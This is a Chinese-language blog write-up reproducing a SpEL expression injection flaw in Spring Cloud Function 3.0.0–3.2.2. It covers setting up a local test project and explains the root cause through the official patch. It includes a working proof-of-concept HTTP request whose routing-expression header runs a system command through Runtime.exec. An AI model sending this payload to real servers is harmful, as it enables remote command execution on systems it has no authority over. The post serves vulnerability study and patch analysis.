漏洞复现-Spring Cloud Function SpEL表达式注入

漏洞描述

Spring Cloud Function 是基于Spring Boot 的函数计算框架(FaaS),当其启用动态路由functionRouter时, HTTP请求头 spring.cloud.function.routing-expression参数存在SPEL表达式注入漏洞,攻击者可通过该漏洞进行远程命令执行

影响版本

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

漏洞复现

编译好的项目 https://github.com/Pizz33/Spring-Cloud-Function-SpEL

使用idea新增一个spring lnitializr项目,选择与环境匹配的java版本

漏洞复现-Spring Cloud Function SpEL表达式注入

添加spring web和function

漏洞复现-Spring Cloud Function SpEL表达式注入

右侧栏选择maven-package编译jar包

漏洞复现-Spring Cloud Function SpEL表达式注入
漏洞复现-Spring Cloud Function SpEL表达式注入
漏洞复现-Spring Cloud Function SpEL表达式注入

访问127.0.0.1:8080出现下图说明搭建成功

漏洞复现-Spring Cloud Function SpEL表达式注入

发送poc,成功执行命令

POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

xxx
漏洞复现-Spring Cloud Function SpEL表达式注入

漏洞原理

位于 RoutingFunctionTests.java 的128行,可以清楚地看出Http头部构造方式

漏洞复现-Spring Cloud Function SpEL表达式注入

从官方补丁对比可看出新增了SimpleEvaluationContext,用于限制外部输入解析,在解析前先判断 spring.cloud.function.routing-expression的值是否取自http头,外部输入使用SimpleEvaluationContext,非外部输入使用StandardEvaluationContext进行解析

漏洞复现-Spring Cloud Function SpEL表达式注入
漏洞复现-Spring Cloud Function SpEL表达式注入
© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容